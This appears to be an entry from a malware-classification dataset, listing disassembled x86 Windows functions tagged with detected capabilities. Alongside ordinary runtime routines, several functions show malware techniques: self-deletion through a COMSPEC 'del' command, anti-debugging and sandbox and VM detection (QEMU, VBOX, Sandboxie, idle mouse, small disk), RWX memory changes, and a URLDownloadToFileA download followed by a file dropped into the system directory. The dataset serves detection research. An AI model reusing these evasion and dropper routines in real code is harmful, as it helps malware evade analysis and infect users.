joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422b7f
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44faa8
push 0x44faa0
push str.FlsAlloc
push 0x1f
call fcn.00422a3e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x422bb3
push dword [ebp + 8]
mov ecx, esi
call dword [0x42d1f0]
call esi
jmp 0x422bb9
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x422bfd
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44fab8
push 0x44fab0
push str.FlsGetValue
push 0x21
call fcn.00422a3e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x422c34
push dword [ebp + 8]
mov ecx, esi
call dword [0x42d1f0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x422c3c
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44fac0
push 0x44fab8
push str.FlsSetValue
push 0x22
call fcn.00422a3e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x422c76
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42d1f0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x426de8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x426e85
push ebx
push esi
call fcn.00426db1
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004227a9
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x426e32
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x426e84
push edi
push eax
call fcn.004210a6
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x426e52
call fcn.0042106c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x426e83
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004227a9
add esp, 0x20
test eax, eax
jne 0x426e71
push edi
call fcn.0042106c
jmp 0x426e79
push ebx
call fcn.0042106c
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x426e88
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x426e99
pop esi
ret
push ebx
push edi
push esi
call fcn.00426db1
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.004210a6
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x426ec1
push ebx
push esi
push edi
call fcn.00412c40
add esp, 0xc
push 0
call fcn.0042106c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x42761b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00427136

Function at 0x42c3d0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42c3fd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42c3fd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x402a80
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Resume thread
Self delete

Disassembly:
sub esp, 0x360
lea eax, [esp + 0x54]
push ebx
push ebp
push esi
push edi
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x402bed
lea ecx, [esp + 0x64]
push 0x104
lea edx, [esp + 0x68]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_GetShortPathNameA]
test eax, eax
je 0x402bed
lea eax, [esp + 0x26c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x402bed
lea ecx, [esp + 0x168]
push str.__c__del
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x64]
lea eax, [esp + 0x168]
push edx
push eax
call esi
lea ecx, [esp + 0x168]
push str.___nul
push ecx
call esi
lea edx, [esp + 0x168]
lea eax, [esp + 0x26c]
push edx
push eax
call esi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
xor ecx, ecx
mov word [esp + 0x50], bx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_SetPriorityClass]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
push 0xf
call ebp
mov edi, dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
lea eax, [esp + 0x20]
push edx
push eax
push 0
push 0
push 0xc
push 0
push 0
lea ecx, [esp + 0x288]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x402bdf
mov edx, dword [esp + 0x10]
push pe_nt_image_headers32
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebx
push eax
call esi
push 0
call ebp
push eax
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x360
ret
Function at 0x1001d10
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac0
push ebx
push esi
push edi
push 0x1e
pop ecx
mov esi, 0x1001c50
lea edi, [ebp - 0x98]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor edi, edi
cmp dword [ebp + 0x10], edi
push 0x7a
mov dword [ebp - 0x1c], 0x80000002
mov dword [ebp - 0x18], 0x80000001
pop ebx
jbe 0x1001e45
mov eax, dword [ebp + 0xc]
mov word [eax], di
mov dword [ebp - 4], edi
mov eax, dword [ebp + 0xc]
cmp word [eax], di
jne 0x1001e45
lea eax, [ebp - 0x10]
push eax
push 1
push edi
lea eax, [ebp - 0x98]
push eax
mov eax, dword [ebp - 4]
push dword [ebp + eax*4 - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, eax
cmp ebx, edi
jne 0x1001e38
xor esi, esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x6b0]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2a0]
push eax
push esi
push dword [ebp - 0x10]
mov dword [ebp - 0x14], 0x104
mov dword [ebp - 8], 0x410
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov ebx, eax
inc esi
cmp ebx, edi
jne 0x1001e2f
cmp dword [ebp - 8], 2
jbe 0x1001e23
cmp dword [ebp - 0xc], 1
je 0x1001dd2
cmp dword [ebp - 0xc], 2
jne 0x1001e23
lea eax, [ebp - 0x2a0]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1001e23
push 0x208
lea eax, [ebp - 0xac0]
push eax
lea eax, [ebp - 0x6b0]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp eax, edi
je 0x1001e23
add eax, 2
cmp eax, dword [ebp + 0x10]
jae 0x1001e23
lea eax, [ebp - 0xac0]
push eax
push 0x1001c40
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [ebp + 0xc]
cmp word [eax], di
je 0x1001d86
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jb 0x1001d53
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x1001f7d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x46c
push ebx
push esi
push edi
push 0xe
pop ecx
xor esi, esi
xor eax, eax
mov dword [ebp - 0x40], esi
lea edi, [ebp - 0x3c]
push esi
rep stosd dword es:[edi], eax
call sub.IMM32.dll_ImmDisableIME
push dword [ebp + 8]
jmp loc.01004784
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x40b0c0
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
cmp word [ecx], 0x5a4d
je 0x40b0ce
sub eax, eax
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40b0cb
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
push ecx
pop eax
ret

Function at 0x40b0f0
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
sub edx, edx
or esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x40b12c
mov edi, dword [esp + 0x14]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x40b122
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x40b12e
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x40b112
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x487b10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5f000]
push edi
or ebp, 0xffffffff
jmp 0x487b32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x487b39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x487b28
mov eax, 1
add ebx, ebx
jne 0x487b4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x487b5c
jne 0x487b7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x487b7b
dec eax
add ebx, ebx
jne 0x487b68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x487b40
add ebx, ebx
jne 0x487b77
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x487bcd
xor ecx, ecx
sub eax, 3
jb 0x487b93
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x487c02
sar eax, 1
mov ebp, eax
jmp 0x487b9e
add ebx, ebx
jne 0x487b9e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x487b6c
inc ecx
add ebx, ebx
jne 0x487bac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x487b6c
add ebx, ebx
jne 0x487bb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x487bae
jne 0x487bca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x487bae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x487bec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x487bde
jmp 0x487b2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x487bec
add edi, ecx
jmp 0x487b2e
pop esi
mov edi, esi
mov ecx, 0xcc
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x487c0a
cmp byte [edi], 6
jne 0x487c0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x487c0f
lea edi, [esi + 0x85000]
mov eax, dword [edi]
or eax, eax
je 0x487c7e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xaea4c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xaea88]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x487c3c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xaea8c]
or eax, eax
je 0x487c78
mov dword [ebx], eax
add ebx, 4
jmp 0x487c59
call dword [esi + 0xaea90]
popal
jmp 0x403831
Function at 0x401833
Capabilities:
Check for outputdebugstring error
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0xc], 0x63
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetLastError]
call eax
sub esp, 4
mov dword [esp], str.useless
mov eax, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call eax
sub esp, 4
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, dword [ebp - 0xc]
sete al
test al, al
je 0x401879
mov eax, 0
jmp 0x40187e
mov eax, 1
leave
ret

Function at 0x401880
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetCursorPos]
call eax
sub esp, 4
mov dword [esp], 0x6d6
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetCursorPos]
call eax
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
cmp edx, eax
jne 0x4018d2
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
cmp edx, eax
jne 0x4018d2
mov eax, 0
jmp 0x4018d7
mov eax, 1
leave
ret

Function at 0x401a2f
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x401a99
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
jmp 0x401b1b
mov dword [esp + 0x1c], 0
lea eax, [ebp - 0x1c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 8
lea eax, [ebp - 0x18]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x7405c
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call eax
sub esp, 0x20
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
cmp dword [ebp - 0x10], 0
je 0x401b16
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
cmp edx, 0xc
jg 0x401b16
cmp edx, 0xc
jl 0x401b0f
cmp eax, 0xbfffffff
ja 0x401b16
mov eax, 0
jmp 0x401b1b
mov eax, 1
leave
ret
Function at 0x401b20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x134
lea eax, [ebp - 0x118]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathA]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._strchr
sub eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x2f
je 0x401b9f
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
je 0x401b9f
lea eax, [ebp - 0x118]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x118]
add eax, edx
mov word [eax], 0x5c
mov dword [esp + 4], str.xyz4380340390470.tmpurlmon
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._strcat
mov dword [esp], 0x405258
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov dword [esp + 4], str.URLDownloadToFileA
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x14], eax
mov edx, str.http:__testrating.webfilter.bluecoat.com_Malicious_20Sources_Malnets
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x118]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], 0
mov eax, dword [ebp - 0x14]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_FreeLibrary]
call eax
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x401c56
Capabilities:
Encrypt data using rc4 prga
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x184
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call eax
sub esp, 8
mov dword [esp + 4], 0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._strchr
sub eax, 1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp al, 0x2f
je 0x401cd5
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp al, 0x5c
je 0x401cd5
lea eax, [ebp - 0x118]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x118]
add eax, edx
mov word [eax], 0x5c
lea eax, [ebp - 0x118]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x118]
add eax, edx
mov dword [eax], 0x736e6977
mov dword [eax + 4], 0x70737274
mov dword [eax + 8], 0x6578652e
mov byte [eax + 0xc], 0
mov dword [ebp - 0xc], 0
cmp dword [ebp - 0xc], 0x43
jg 0x401d4c
mov eax, dword [ebp - 0xc]
add eax, 0x4051a0
movzx edx, byte [eax]
mov eax, dword [ebp - 0xc]
add eax, 0x405200
movzx eax, byte [eax]
xor edx, eax
mov ecx, edx
lea edx, [ebp - 0x15c]
mov eax, dword [ebp - 0xc]
add eax, edx
mov byte [eax], cl
add dword [ebp - 0xc], 1
jmp 0x401d19
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0xc0000000
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x160], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x160]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x44
lea eax, [ebp - 0x15c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x402530
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov dword [ebp - 0x414], 0x400
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], 0x405d80
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402604
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x414]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x410]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x405dcd
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4025fd
lea eax, [ebp - 0x410]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__strupr]
call eax
mov dword [esp + 4], str.QEMU
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x4025f6
mov eax, 0
jmp 0x402609
mov eax, 1
jmp 0x402609
mov eax, 1
jmp 0x402609
mov eax, 1
leave
ret

Function at 0x40260b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov dword [ebp - 0x414], 0x400
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], 0x405ddd
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4026df
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x414]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x410]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x405df9
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4026d8
lea eax, [ebp - 0x410]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__strupr]
call eax
mov dword [esp + 4], str.QEMU
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x4026d1
mov eax, 0
jmp 0x4026e4
mov eax, 1
jmp 0x4026e4
mov eax, 1
jmp 0x4026e4
mov eax, 1
leave
ret

Function at 0x4026e8
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp], str.sbiedll.dll
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x40270f
mov eax, 0
jmp 0x402714
mov eax, 1
leave
ret
Function at 0x402718
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov dword [ebp - 0x414], 0x400
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], 0x405e18
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4027ec
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x414]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x410]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x405e65
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4027e5
lea eax, [ebp - 0x410]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__strupr]
call eax
mov dword [esp + 4], str.VBOX
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x4027de
mov eax, 0
jmp 0x4027f1
mov eax, 1
jmp 0x4027f1
mov eax, 1
jmp 0x4027f1
mov eax, 1
leave
ret

Function at 0x4027f3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov dword [ebp - 0x414], 0x400
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.HARDWAREDescriptionSystem
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4028c7
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0x414]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x410]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SystemBiosVersion
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4028c0
lea eax, [ebp - 0x410]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__strupr]
call eax
mov dword [esp + 4], str.VBOX
lea eax, [ebp - 0x410]
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x4028b9
mov eax, 0
jmp 0x4028cc
mov eax, 1
jmp 0x4028cc
mov eax, 1
jmp 0x4028cc
mov eax, 1
leave
ret